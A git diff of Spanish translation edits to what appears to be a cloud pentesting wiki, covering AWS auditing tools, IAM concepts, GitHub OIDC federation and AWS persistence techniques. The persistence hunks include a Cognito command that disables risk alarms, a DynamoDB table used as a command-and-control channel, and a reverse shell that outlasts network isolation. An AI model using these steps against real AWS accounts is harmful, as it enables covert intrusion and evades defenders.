-- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) es un script y biblioteca para identificar riesgos en la configuración de AWS Identity and Access Management (IAM) para una cuenta de AWS o una organización de AWS. Modela los diferentes Usuarios y Roles de IAM en una cuenta como un grafo dirigido, lo que permite verificar la **escalada de privilegios** y los caminos alternativos que un atacante podría tomar para obtener acceso a un recurso o acción en AWS. Puedes verificar los **permisos utilizados para encontrar caminos de privesc** en los nombres de archivo que terminan en `_edges.py` en [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
+- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) es un script y biblioteca para identificar riesgos en la configuración de AWS Identity and Access Management (IAM) para una cuenta de AWS o una organización de AWS. Modela los diferentes IAM Users y Roles en una cuenta como un grafo dirigido, lo que permite verificar **privilege escalation** y los caminos alternativos que un atacante podría tomar para obtener acceso a un recurso o acción en AWS. Puedes verificar los **permissions utilizados para encontrar privesc** caminos en los nombres de archivo que terminan en `_edges.py` en [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
 ```bash
 # Install
 pip install principalmapper
@@ -278,7 +278,7 @@ pmapper --profile dev orgs create
 pmapper --profile dev orgs display
 ```
 - [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining es una herramienta de evaluación de seguridad de AWS IAM que identifica violaciones del principio de menor privilegio y genera un informe HTML priorizado por riesgo.\
-Mostrará los clientes **sobre privilegiados** potencialmente, las **políticas** en línea y de aws, y qué **principales tienen acceso a ellas**. (No solo verifica el privesc, sino también otros tipos de permisos interesantes, se recomienda su uso).
+Mostrará los clientes **sobre privilegiados** potencialmente, las políticas en línea y de aws **y qué principales tienen acceso a ellas**. (No solo verifica privesc, sino también otros tipos de permisos interesantes, se recomienda su uso).
 ```bash
 # Install
 pip install cloudsplaining
@@ -303,7 +303,7 @@ cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /
 # Compiance options: --compliance {hipaa,cis,cis1,cis2,pci}
 ## use "cis" for cis level 1 and 2
 ```
-- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler es una herramienta de seguridad de código abierto para realizar evaluaciones de las mejores prácticas de seguridad de AWS, auditorías, respuesta a incidentes, monitoreo continuo, endurecimiento y preparación forense.
+- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler es una herramienta de seguridad de código abierto para realizar evaluaciones de las mejores prácticas de seguridad de AWS, auditorías, respuesta a incidentes, monitoreo continuo, endurecimiento y preparación para forenses.
 ```bash
 # Install python3, jq and git
 # Install
@@ -334,8 +334,8 @@ scout aws -p dev
 
 ### Auditoría Constante
 
-- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian es un motor de reglas para gestionar cuentas y recursos de nube pública. Permite a los usuarios **definir políticas para habilitar una infraestructura de nube bien gestionada**, que sea segura y optimizada en costos. Consolida muchos de los scripts ad-hoc que las organizaciones tienen en una herramienta ligera y flexible, con métricas y reportes unificados.
-- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** es una plataforma para **monitoreo continuo de cumplimiento, reportes de cumplimiento y automatización de seguridad para la nube**. En PacBot, las políticas de seguridad y cumplimiento se implementan como código. Todos los recursos descubiertos por PacBot son evaluados contra estas políticas para medir la conformidad con las políticas. El marco de **auto-fix** de PacBot proporciona la capacidad de responder automáticamente a violaciones de políticas tomando acciones predefinidas.
+- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian es un motor de reglas para gestionar cuentas y recursos de nube pública. Permite a los usuarios **definir políticas para habilitar una infraestructura en la nube bien gestionada**, que sea segura y optimizada en costos. Consolida muchos de los scripts ad-hoc que las organizaciones tienen en una herramienta ligera y flexible, con métricas y reportes unificados.
+- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** es una plataforma para **monitoreo continuo de cumplimiento, reporte de cumplimiento y automatización de seguridad para la nube**. En PacBot, las políticas de seguridad y cumplimiento se implementan como código. Todos los recursos descubiertos por PacBot se evalúan contra estas políticas para medir la conformidad con las políticas. El marco **auto-fix** de PacBot proporciona la capacidad de responder automáticamente a violaciones de políticas tomando acciones predefinidas.
 - [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert es un marco de análisis de datos **en tiempo real** sin servidor que te permite **ingresar, analizar y alertar** sobre datos de cualquier entorno, **usando fuentes de datos y lógica de alertas que defines**. Los equipos de seguridad informática utilizan StreamAlert para escanear terabytes de datos de registro todos los días para la detección y respuesta a incidentes.
 
 ## DEBUG: Capturar solicitudes de AWS cli

src/pentesting-cloud/aws-security/aws-basic-information/README.md

@@ -26,7 +26,7 @@ Por lo tanto, hay **dos tipos de cuentas en una organización** (estamos habland
 
 La cuenta de gestión tiene las **responsabilidades de una cuenta pagadora** y es responsable de pagar todos los cargos que son acumulados por las cuentas miembro. No puedes cambiar la cuenta de gestión de una organización.
 
-- Las **cuentas miembro** constituyen el resto de las cuentas en una organización. Una cuenta puede ser miembro de solo una organización a la vez. Puedes adjuntar una política a una cuenta para aplicar controles solo a esa cuenta.
+- Las **cuentas miembro** constituyen el resto de las cuentas en una organización. Una cuenta puede ser miembro de solo una organización a la vez. Puedes adjuntar una política a una cuenta para aplicar controles solo a esa cuenta. 
 - Las cuentas miembro **deben usar una dirección de correo electrónico válida** y pueden tener un **nombre**, en general no podrán gestionar la facturación (pero podrían recibir acceso a ella).
 ```
 aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com
@@ -40,7 +40,7 @@ aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
 ```
 ### Service Control Policy (SCP)
 
-Una **política de control de servicio (SCP)** es una política que especifica los servicios y acciones que los usuarios y roles pueden usar en las cuentas que la SCP afecta. Las SCP son **similares a las políticas de permisos de IAM** excepto que **no otorgan ningún permiso**. En cambio, las SCP especifican los **permisos máximos** para una organización, unidad organizativa (OU) o cuenta. Cuando adjuntas una SCP a la raíz de tu organización o a una OU, la **SCP limita los permisos para las entidades en las cuentas miembros**.
+Una **service control policy (SCP)** es una política que especifica los servicios y acciones que los usuarios y roles pueden usar en las cuentas que la SCP afecta. Las SCP son **similares a las políticas de permisos de IAM** excepto que **no otorgan ningún permiso**. En cambio, las SCP especifican los **permisos máximos** para una organización, unidad organizativa (OU) o cuenta. Cuando adjuntas una SCP a la raíz de tu organización o a una OU, la **SCP limita los permisos para las entidades en las cuentas miembros**.
 
 Esta es la ÚNICA forma en que **incluso el usuario raíz puede ser detenido** de hacer algo. Por ejemplo, podría usarse para evitar que los usuarios desactiven CloudTrail o eliminen copias de seguridad.\
 La única forma de eludir esto es comprometer también la **cuenta maestra** que configura las SCP (la cuenta maestra no puede ser bloqueada).
@@ -67,7 +67,7 @@ Encuentra **ejemplos de JSON** en [https://docs.aws.amazon.com/organizations/lat
 arn:partition:service:region:account-id:resource-type/resource-id
 arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
 ```
-Note que hay 4 particiones en AWS pero solo 3 formas de llamarlas:
+Nota que hay 4 particiones en AWS pero solo 3 formas de llamarlas:
 
 - AWS Standard: `aws`
 - AWS China: `aws-cn`
@@ -88,9 +88,9 @@ IAM se puede definir por su capacidad para gestionar, controlar y gobernar los m
 
 Cuando creas por primera vez una cuenta de Amazon Web Services (AWS), comienzas con una única identidad de inicio de sesión que tiene **acceso completo a todos** los servicios y recursos de AWS en la cuenta. Este es el _**usuario raíz**_ de la cuenta de AWS y se accede iniciando sesión con la **dirección de correo electrónico y la contraseña que usaste para crear la cuenta**.
 
-Ten en cuenta que un nuevo **usuario administrador** tendrá **menos permisos que el usuario raíz**.
+Nota que un nuevo **usuario administrador** tendrá **menos permisos que el usuario raíz**.
 
-Desde un punto de vista de seguridad, se recomienda crear otros usuarios y evitar usar este.
+Desde el punto de vista de la seguridad, se recomienda crear otros usuarios y evitar usar este.
 
 ### [Usuarios de IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) <a href="#id_iam-users" id="id_iam-users"></a>
 
@@ -120,7 +120,7 @@ Las políticas con condiciones de MFA se pueden adjuntar a lo siguiente:
 - La política de confianza de un rol de IAM que puede ser asumido por un usuario
 
 Si deseas **acceder a través de CLI** a un recurso que **verifica MFA**, necesitas llamar a **`GetSessionToken`**. Eso te dará un token con información sobre MFA.\
-Ten en cuenta que **las credenciales de `AssumeRole` no contienen esta información**.
+Nota que **las credenciales de `AssumeRole` no contienen esta información**.
 ```bash
 aws sts get-session-token --serial-number <arn_device> --token-code <code>
 ```
@@ -128,20 +128,20 @@ Como [**se indica aquí**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_c
 
 ### [Grupos de usuarios de IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) <a href="#id_iam-groups" id="id_iam-groups"></a>
 
-Un [grupo de usuarios de IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) es una forma de **adjuntar políticas a múltiples usuarios** a la vez, lo que puede facilitar la gestión de los permisos para esos usuarios. **Los roles y grupos no pueden ser parte de un grupo**.
+Un [grupo de usuarios](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) de IAM es una forma de **adjuntar políticas a múltiples usuarios** a la vez, lo que puede facilitar la gestión de los permisos para esos usuarios. **Los roles y grupos no pueden ser parte de un grupo**.
 
-Puedes adjuntar una **política basada en identidad a un grupo de usuarios** para que todos los **usuarios** en el grupo de usuarios **reciban los permisos de la política**. **No puedes** identificar un **grupo de usuarios** como un **`Principal`** en una **política** (como una política basada en recursos) porque los grupos se relacionan con permisos, no con autenticación, y los principales son entidades IAM autenticadas.
+Puedes adjuntar una **política basada en identidad a un grupo de usuarios** para que todos los **usuarios** en el grupo de usuarios **reciban los permisos de la política**. No **puedes** identificar un **grupo de usuarios** como un **`Principal`** en una **política** (como una política basada en recursos) porque los grupos se relacionan con permisos, no con autenticación, y los principales son entidades IAM autenticadas.
 
 Aquí hay algunas características importantes de los grupos de usuarios:
 
 - Un **grupo** de usuarios puede **contener muchos usuarios**, y un **usuario** puede **pertenecer a múltiples grupos**.
 - **Los grupos de usuarios no pueden estar anidados**; solo pueden contener usuarios, no otros grupos de usuarios.
 - No hay **un grupo de usuarios predeterminado que incluya automáticamente a todos los usuarios en la cuenta de AWS**. Si deseas tener un grupo de usuarios así, debes crearlo y asignar a cada nuevo usuario a él.
-- El número y tamaño de los recursos IAM en una cuenta de AWS, como el número de grupos y el número de grupos de los que un usuario puede ser miembro, son limitados. Para más información, consulta [cuotas de IAM y AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
+- El número y tamaño de los recursos de IAM en una cuenta de AWS, como el número de grupos y el número de grupos de los que un usuario puede ser miembro, son limitados. Para más información, consulta [cuotas de IAM y AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
 
 ### [Roles de IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
 
-Un **rol** de IAM es muy **similar** a un **usuario**, en el sentido de que es una **identidad con políticas de permisos que determinan qué** puede y no puede hacer en AWS. Sin embargo, un rol **no tiene ninguna credencial** (contraseña o claves de acceso) asociada. En lugar de estar asociado de manera única a una persona, un rol está destinado a ser **asumido por cualquier persona que lo necesite (y tenga suficientes permisos)**. Un **usuario de IAM puede asumir un rol para temporalmente** adquirir diferentes permisos para una tarea específica. Un rol puede ser **asignado a un** [**usuario federado**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) que inicia sesión utilizando un proveedor de identidad externo en lugar de IAM.
+Un **rol** de IAM es muy **similar** a un **usuario**, en el sentido de que es una **identidad con políticas de permisos que determinan qué** puede y no puede hacer en AWS. Sin embargo, un rol **no tiene ninguna credencial** (contraseña o claves de acceso) asociada. En lugar de estar asociado de manera única a una persona, un rol está destinado a ser **asumido por cualquier persona que lo necesite (y tenga suficientes permisos)**. Un **usuario de IAM puede asumir un rol para temporalmente** adoptar diferentes permisos para una tarea específica. Un rol puede ser **asignado a un** [**usuario federado**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) que inicia sesión utilizando un proveedor de identidad externo en lugar de IAM.
 
 Un rol de IAM consiste en **dos tipos de políticas**: una **política de confianza**, que no puede estar vacía, definiendo **quién puede asumir** el rol, y una **política de permisos**, que no puede estar vacía, definiendo **a qué puede acceder**.
 
@@ -151,7 +151,7 @@ El Servicio de Token de Seguridad de AWS (STS) es un servicio web que facilita l
 
 ### [Credenciales temporales en IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
 
-**Las credenciales temporales se utilizan principalmente con roles de IAM**, pero también hay otros usos. Puedes solicitar credenciales temporales que tengan un conjunto de permisos más restringido que tu usuario IAM estándar. Esto **previene** que **realices accidentalmente tareas que no están permitidas** por las credenciales más restringidas. Un beneficio de las credenciales temporales es que expiran automáticamente después de un período de tiempo establecido. Tienes control sobre la duración durante la cual las credenciales son válidas.
+**Las credenciales temporales se utilizan principalmente con roles de IAM**, pero también hay otros usos. Puedes solicitar credenciales temporales que tengan un conjunto de permisos más restringido que tu usuario de IAM estándar. Esto **previene** que **realices accidentalmente tareas que no están permitidas** por las credenciales más restringidas. Un beneficio de las credenciales temporales es que expiran automáticamente después de un período de tiempo establecido. Tienes control sobre la duración durante la cual las credenciales son válidas.
 
 ### Políticas
 
@@ -160,10 +160,10 @@ El Servicio de Token de Seguridad de AWS (STS) es un servicio web que facilita l
 Se utilizan para asignar permisos. Hay 2 tipos:
 
 - Políticas administradas por AWS (preconfiguradas por AWS)
-- Políticas administradas por el cliente: configuradas por ti. Puedes crear políticas basadas en políticas administradas por AWS (modificando una de ellas y creando la tuya propia), utilizando el generador de políticas (una vista GUI que te ayuda a otorgar y denegar permisos) o escribiendo la tuya propia.
+- Políticas administradas por el cliente: configuradas por ti. Puedes crear políticas basadas en políticas administradas por AWS (modificando una de ellas y creando la tuya), utilizando el generador de políticas (una vista GUI que te ayuda a otorgar y denegar permisos) o escribiendo la tuya propia.
 
 Por **defecto, el acceso** es **denegado**, el acceso se otorgará si se ha especificado un rol explícito.\
-Si **existe un único "Deny", anulará el "Allow"**, excepto para las solicitudes que utilizan las credenciales de seguridad raíz de la cuenta de AWS (que están permitidas por defecto).
+Si **existe un "Deny" único, anulará el "Allow"**, excepto para las solicitudes que utilizan las credenciales de seguridad raíz de la cuenta de AWS (que están permitidas por defecto).
 ```javascript
 {
 "Version": "2012-10-17",  //Version of the policy
@@ -191,14 +191,14 @@ Los [campos específicos que se pueden usar para condiciones por servicio están
 
 #### Políticas en línea
 
-Este tipo de políticas son **asignadas directamente** a un usuario, grupo o rol. Entonces, no aparecen en la lista de Políticas ya que cualquier otro puede usarlas.\
+Este tipo de políticas son **asignadas directamente** a un usuario, grupo o rol. Entonces, no aparecen en la lista de Políticas ya que ningún otro puede usarlas.\
 Las políticas en línea son útiles si deseas **mantener una relación estricta uno a uno entre una política y la identidad** a la que se aplica. Por ejemplo, quieres asegurarte de que los permisos en una política no se asignen inadvertidamente a una identidad diferente de la que están destinados. Cuando usas una política en línea, los permisos en la política no pueden ser adjuntados inadvertidamente a la identidad incorrecta. Además, cuando usas la Consola de Administración de AWS para eliminar esa identidad, las políticas incrustadas en la identidad también se eliminan. Eso es porque son parte de la entidad principal.
 
 #### Políticas de Bucket de Recursos
 
 Estas son **políticas** que se pueden definir en **recursos**. **No todos los recursos de AWS las soportan**.
 
-Si un principal no tiene una denegación explícita sobre ellos, y una política de recurso les otorga acceso, entonces se les permite.
+Si un principal no tiene un denegación explícita sobre ellos, y una política de recurso les otorga acceso, entonces se les permite.
 
 ### Límites de IAM
 
@@ -220,18 +220,18 @@ aws sts assume-role \
 [--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
 [--policy <file://policy.json>]
 ```
-Note que por defecto **AWS podría agregar políticas de sesión a las sesiones** que se van a generar por razones de terceros. Por ejemplo, en [roles asumidos de cognito no autenticados](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) por defecto (usando autenticación mejorada), AWS generará **credenciales de sesión con una política de sesión** que limita los servicios a los que la sesión puede acceder [**a la siguiente lista**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
+Tenga en cuenta que por defecto **AWS podría agregar políticas de sesión a las sesiones** que se van a generar por razones de terceros. Por ejemplo, en [roles asumidos de cognito no autenticados](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) por defecto (usando autenticación mejorada), AWS generará **credenciales de sesión con una política de sesión** que limita los servicios a los que la sesión puede acceder [**a la siguiente lista**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
 
-Por lo tanto, si en algún momento te enfrentas al error "... porque ninguna política de sesión permite el ...", y el rol tiene acceso para realizar la acción, es porque **hay una política de sesión que lo impide**.
+Por lo tanto, si en algún momento se enfrenta al error "... porque ninguna política de sesión permite el ...", y el rol tiene acceso para realizar la acción, es porque **hay una política de sesión que lo impide**.
 
 ### Federación de Identidad
 
-La federación de identidad **permite a los usuarios de proveedores de identidad que son externos** a AWS acceder a recursos de AWS de manera segura sin tener que proporcionar credenciales de usuario de AWS de una cuenta IAM válida.\
-Un ejemplo de un proveedor de identidad puede ser tu propio **Microsoft Active Directory** corporativo (a través de **SAML**) o servicios de **OpenID** (como **Google**). El acceso federado permitirá a los usuarios dentro de él acceder a AWS.
+La federación de identidad **permite a los usuarios de proveedores de identidad que son externos** a AWS acceder a los recursos de AWS de manera segura sin tener que proporcionar credenciales de usuario de AWS de una cuenta de IAM válida.\
+Un ejemplo de un proveedor de identidad puede ser su propio **Microsoft Active Directory** corporativo (a través de **SAML**) o servicios de **OpenID** (como **Google**). El acceso federado permitirá entonces a los usuarios dentro de él acceder a AWS.
 
 Para configurar esta confianza, se genera un **Proveedor de Identidad IAM (SAML u OAuth)** que **confiará** en la **otra plataforma**. Luego, al menos un **rol IAM es asignado (confiando) al Proveedor de Identidad**. Si un usuario de la plataforma de confianza accede a AWS, lo hará como el rol mencionado.
 
-Sin embargo, generalmente querrás dar un **rol diferente dependiendo del grupo del usuario** en la plataforma de terceros. Entonces, varios **roles IAM pueden confiar** en el Proveedor de Identidad de terceros y la plataforma de terceros será la que permitirá a los usuarios asumir un rol u otro.
+Sin embargo, generalmente querrá dar un **rol diferente dependiendo del grupo del usuario** en la plataforma de terceros. Entonces, varios **roles IAM pueden confiar** en el Proveedor de Identidad de terceros y la plataforma de terceros será la que permitirá a los usuarios asumir un rol u otro.
 
 <figure><img src="../../../images/image (247).png" alt=""><figcaption></figcaption></figure>
 
@@ -241,7 +241,7 @@ AWS IAM Identity Center (sucesor de AWS Single Sign-On) amplía las capacidades
 
 El dominio de inicio de sesión será algo como `<user_input>.awsapps.com`.
 
-Para iniciar sesión a los usuarios, hay 3 fuentes de identidad que se pueden usar:
+Para iniciar sesión a los usuarios, hay 3 fuentes de identidad que se pueden utilizar:
 
 - Directorio del Centro de Identidad: Usuarios regulares de AWS
 - Active Directory: Soporta diferentes conectores
@@ -257,12 +257,12 @@ Para dar acceso a un usuario/grupo del Centro de Identidad a una cuenta, se **cr
 
 Es posible **dar permisos a través de políticas en línea a roles creados a través del Centro de Identidad IAM**. Los roles creados en las cuentas que se les dan **políticas en línea en AWS Identity Center** tendrán estos permisos en una política en línea llamada **`AwsSSOInlinePolicy`**.
 
-Por lo tanto, incluso si ves 2 roles con una política en línea llamada **`AwsSSOInlinePolicy`**, **no significa que tenga los mismos permisos**.
+Por lo tanto, incluso si ve 2 roles con una política en línea llamada **`AwsSSOInlinePolicy`**, **no significa que tenga los mismos permisos**.
 
 ### Confianza y Roles entre Cuentas
 
-**Un usuario** (confiando) puede crear un Rol entre Cuentas con algunas políticas y luego, **permitir a otro usuario** (confiado) **acceder a su cuenta** pero solo **teniendo el acceso indicado en las nuevas políticas del rol**. Para crear esto, solo crea un nuevo Rol y selecciona Rol entre Cuentas. Los roles para Acceso entre Cuentas ofrecen dos opciones. Proporcionar acceso entre cuentas de AWS que posees, y proporcionar acceso entre una cuenta que posees y una cuenta de AWS de terceros.\
-Se recomienda **especificar el usuario que es confiado y no poner algo genérico** porque de lo contrario, otros usuarios autenticados como usuarios federados también podrán abusar de esta confianza.
+**Un usuario** (confiando) puede crear un Rol entre Cuentas con algunas políticas y luego, **permitir a otro usuario** (confiado) **acceder a su cuenta** pero solo **teniendo el acceso indicado en las nuevas políticas del rol**. Para crear esto, simplemente cree un nuevo Rol y seleccione Rol entre Cuentas. Los roles para Acceso entre Cuentas ofrecen dos opciones. Proporcionar acceso entre cuentas de AWS que posee, y proporcionar acceso entre una cuenta que posee y una cuenta de AWS de terceros.\
+Se recomienda **especificar el usuario que es de confianza y no poner algo genérico** porque de lo contrario, otros usuarios autenticados como usuarios federados también podrán abusar de esta confianza.
 
 ### AWS Simple AD
 
@@ -270,10 +270,10 @@ No soportado:
 
 - Relaciones de Confianza
 - Centro de Administración de AD
-- Soporte completo de PS API
+- Soporte completo de API de PS
 - Papelera de reciclaje de AD
-- Cuentas de servicio administradas por grupos
-- Extensiones de esquema
+- Cuentas de Servicio Administradas por Grupo
+- Extensiones de Esquema
 - Sin acceso directo a OS o Instancias
 
 #### Federación Web o Autenticación OpenID
@@ -282,14 +282,14 @@ La aplicación utiliza AssumeRoleWithWebIdentity para crear credenciales tempora
 
 ### Otras opciones de IAM
 
-- Puedes **establecer una configuración de política de contraseñas** con opciones como longitud mínima y requisitos de contraseña.
-- Puedes **descargar "Informe de Credenciales"** con información sobre las credenciales actuales (como tiempo de creación del usuario, si la contraseña está habilitada...). Puedes generar un informe de credenciales tan a menudo como una vez cada **cuatro horas**.
+- Puede **establecer una configuración de política de contraseñas** con opciones como longitud mínima y requisitos de contraseña.
+- Puede **descargar un "Informe de Credenciales"** con información sobre las credenciales actuales (como el tiempo de creación del usuario, si la contraseña está habilitada...). Puede generar un informe de credenciales tan a menudo como una vez cada **cuatro horas**.
 
-AWS Identity and Access Management (IAM) proporciona **control de acceso detallado** en toda AWS. Con IAM, puedes especificar **quién puede acceder a qué servicios y recursos**, y bajo qué condiciones. Con las políticas de IAM, gestionas los permisos para tu fuerza laboral y sistemas para **asegurar permisos de menor privilegio**.
+AWS Identity and Access Management (IAM) proporciona **control de acceso detallado** en toda AWS. Con IAM, puede especificar **quién puede acceder a qué servicios y recursos**, y bajo qué condiciones. Con las políticas de IAM, gestiona los permisos para su fuerza laboral y sistemas para **asegurar permisos de menor privilegio**.
 
-### Prefijos de ID IAM
+### Prefijos de ID de IAM
 
-En [**esta página**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) puedes encontrar los **prefijos de ID IAM** de las claves dependiendo de su naturaleza:
+En [**esta página**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) puede encontrar los **prefijos de ID de IAM** de las claves dependiendo de su naturaleza:
 
 | ABIA | [Token portador del servicio AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html)                                                                                                          |
 | ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
@@ -322,8 +322,8 @@ Los siguientes privilegios otorgan varios accesos de lectura de metadatos:
 
 ### Autenticación CLI
 
-Para que un usuario regular se autentique en AWS a través de CLI, necesitas tener **credenciales locales**. Por defecto, puedes configurarlas **manualmente** en `~/.aws/credentials` o **ejecutando** `aws configure`.\
-En ese archivo puedes tener más de un perfil, si **no se especifica un perfil** usando el **aws cli**, se utilizará el llamado **`[default]`** en ese archivo.\
+Para que un usuario regular se autentique en AWS a través de CLI, necesita tener **credenciales locales**. Por defecto, puede configurarlas **manualmente** en `~/.aws/credentials` o **ejecutando** `aws configure`.\
+En ese archivo puede tener más de un perfil, si **no se especifica un perfil** usando el **aws cli**, se utilizará el llamado **`[default]`** en ese archivo.\
 Ejemplo de archivo de credenciales con más de 1 perfil:
 ```
 [default]
@@ -351,7 +351,7 @@ Con este archivo de configuración, puedes usar aws cli así:
 ```
 aws --profile acc2 ...
 ```
-Si estás buscando algo **similar** a esto pero para el **navegador**, puedes revisar la **extensión** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en).
+Si estás buscando algo **similar** a esto pero para el **navegador**, puedes consultar la **extensión** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en).
 
 ## Referencias
 

src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md

@@ -46,7 +46,7 @@ Para agregar una acción de github como proveedor de identidad:
 ```
 6. Nota en la política anterior cómo solo se autorizó una **rama** de un **repositorio** de una **organización** con un **disparador** específico.
 7. El **ARN** del **rol** que la acción de github podrá **suplantar** será el "secreto" que la acción de github necesita conocer, así que **almacénalo** dentro de un **secreto** dentro de un **entorno**.
-8. Finalmente, usa una acción de github para configurar las credenciales de AWS que serán utilizadas por el flujo de trabajo:
+8. Finalmente, usa una acción de github para configurar las credenciales de AWS que se utilizarán en el flujo de trabajo:
 ```yaml
 name: "test AWS Access"
 
@@ -78,7 +78,7 @@ role-session-name: OIDCSession
 - run: aws sts get-caller-identity
 shell: bash
 ```
-## OIDC - EKS Abuso
+## OIDC - Abuso de EKS
 ```bash
 # Crate an EKS cluster (~10min)
 eksctl create cluster --name demo --fargate

src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md

@@ -12,7 +12,7 @@ Para más información, ve a:
 
 ### Política de Recursos
 
-Modifica la política de recursos del(los) API gateway(s) para concederte acceso a ellos.
+Modifica la política de recursos de los API gateway(s) para concederte acceso a ellos.
 
 ### Modificar Autorizadores de Lambda
 

src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md

@@ -1,4 +1,4 @@
-# AWS - Cognito Persistence
+# AWS - Persistencia de Cognito
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -10,7 +10,7 @@ Para más información, accede a:
 ../aws-services/aws-cognito-enum/
 {{#endref}}
 
-### Persistencia de usuarios
+### Persistencia de usuario
 
 Cognito es un servicio que permite otorgar roles a usuarios no autenticados y autenticados y controlar un directorio de usuarios. Se pueden alterar varias configuraciones diferentes para mantener cierta persistencia, como:
 
@@ -19,7 +19,7 @@ Cognito es un servicio que permite otorgar roles a usuarios no autenticados y au
 - O a un **Identity Pool autenticado** si el atacante puede iniciar sesión
 - O **mejorar los permisos** de los roles otorgados
 - **Crear, verificar y privesc** a través de atributos controlados por usuarios o nuevos usuarios en un **User Pool**
-- **Permitir Proveedores de Identidad externos** para iniciar sesión en un User Pool o en un Identity Pool
+- **Permitir que Proveedores de Identidad externos** inicien sesión en un User Pool o en un Identity Pool
 
 Consulta cómo realizar estas acciones en
 
@@ -29,7 +29,7 @@ Consulta cómo realizar estas acciones en
 
 ### `cognito-idp:SetRiskConfiguration`
 
-Un atacante con este privilegio podría modificar la configuración de riesgo para poder iniciar sesión como un usuario de Cognito **sin que se disparen alarmas**. [**Consulta la cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) para ver todas las opciones:
+Un atacante con este privilegio podría modificar la configuración de riesgo para poder iniciar sesión como un usuario de Cognito **sin que se disparen alarmas**. [**Consulta el cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) para ver todas las opciones:
 ```bash
 aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
 ```

src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md

@@ -54,6 +54,6 @@ aws dynamodb put-item \
 --item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
 --region <region>
 ```
-Las instancias comprometidas o funciones Lambda pueden verificar periódicamente la tabla C2 en busca de nuevos comandos, ejecutarlos y, opcionalmente, informar los resultados de vuelta a la tabla. Esto permite al atacante mantener la persistencia y el control sobre los recursos comprometidos.
+Las instancias comprometidas o funciones de Lambda pueden verificar periódicamente la tabla C2 en busca de nuevos comandos, ejecutarlos y, opcionalmente, informar los resultados de vuelta a la tabla. Esto permite al atacante mantener la persistencia y el control sobre los recursos comprometidos.
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md

@@ -1,4 +1,4 @@
-# AWS - EC2 Persistence
+# AWS - EC2 Persistencia
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -14,7 +14,7 @@ Para más información, consulta:
 
 Si un defensor descubre que una **instancia de EC2 fue comprometida**, probablemente intentará **aislar** la **red** de la máquina. Podría hacer esto con un **Deny NACL** explícito (pero los NACL afectan a toda la subred), o **cambiando el grupo de seguridad** para no permitir **ningún tipo de tráfico entrante o saliente**.
 
-Si el atacante tenía un **reverse shell originado desde la máquina**, incluso si el SG se modifica para no permitir tráfico entrante o saliente, la **conexión no será eliminada debido a** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
